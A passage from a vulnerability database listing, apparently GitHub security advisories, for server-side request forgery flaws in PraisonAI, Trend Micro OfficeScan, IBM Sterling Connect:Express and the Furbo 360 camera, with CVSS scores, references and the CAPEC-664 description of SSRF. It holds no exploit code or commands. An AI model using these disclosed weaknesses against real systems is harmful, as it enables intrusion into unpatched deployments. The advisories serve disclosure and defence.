to `scrape_page()`, `extract_links()`,\n `crawl()`, and `extract_text()`.\n\nRegression tests should cover direct loopback rejection, public-to-loopback\nredirect rejection, public-to-public redirects if supported, and all\n`scrape_page()` callers.",
"id": "GHSA-6h9p-93hq-q7h6",
"modified": "2026-07-20T21:24:09Z",
"published": "2026-06-18T13:55:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h9p-93hq-q7h6"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: SpiderTools redirect-target SSRF protection bypass"
}
GHSA-6HX5-9Q4P-P96W
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41A server-side request forgery (SSRF) information disclosure vulnerability in Trend Micro OfficeScan XG SP1 and Worry-Free Business Security 10.0 SP1 could allow an unauthenticated user to locate online agents via a specific sweep.
{
"affected": [],
"aliases": [
"CVE-2021-25236"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-04T20:15:00Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery (SSRF) information disclosure vulnerability in Trend Micro OfficeScan XG SP1 and Worry-Free Business Security 10.0 SP1 could allow an unauthenticated user to locate online agents via a specific sweep.",
"id": "GHSA-6hx5-9q4p-p96w",
"modified": "2022-05-24T17:41:07Z",
"published": "2022-05-24T17:41:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25236"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000284205"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000284206"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-120"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6J35-XV72-GPPJ
Vulnerability from github – Published: 2023-07-19 03:30 – Updated: 2024-04-04 06:16IBM Sterling Connect:Express for UNIX 1.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 252135.
{
"affected": [],
"aliases": [
"CVE-2023-29260"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-19T02:15:09Z",
"severity": "MODERATE"
},
"details": "IBM Sterling Connect:Express for UNIX 1.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 252135.",
"id": "GHSA-6j35-xv72-gppj",
"modified": "2024-04-04T06:16:48Z",
"published": "2023-07-19T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29260"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/252135"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7010923"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6J3Q-G2MV-78P6
Vulnerability from github – Published: 2025-10-12 15:30 – Updated: 2025-10-12 15:30A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-11636"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-12T15:15:59Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-6j3q-g2mv-78p6",
"modified": "2025-10-12T15:30:16Z",
"published": "2025-10-12T15:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11636"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.328047"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.328047"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.661361"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.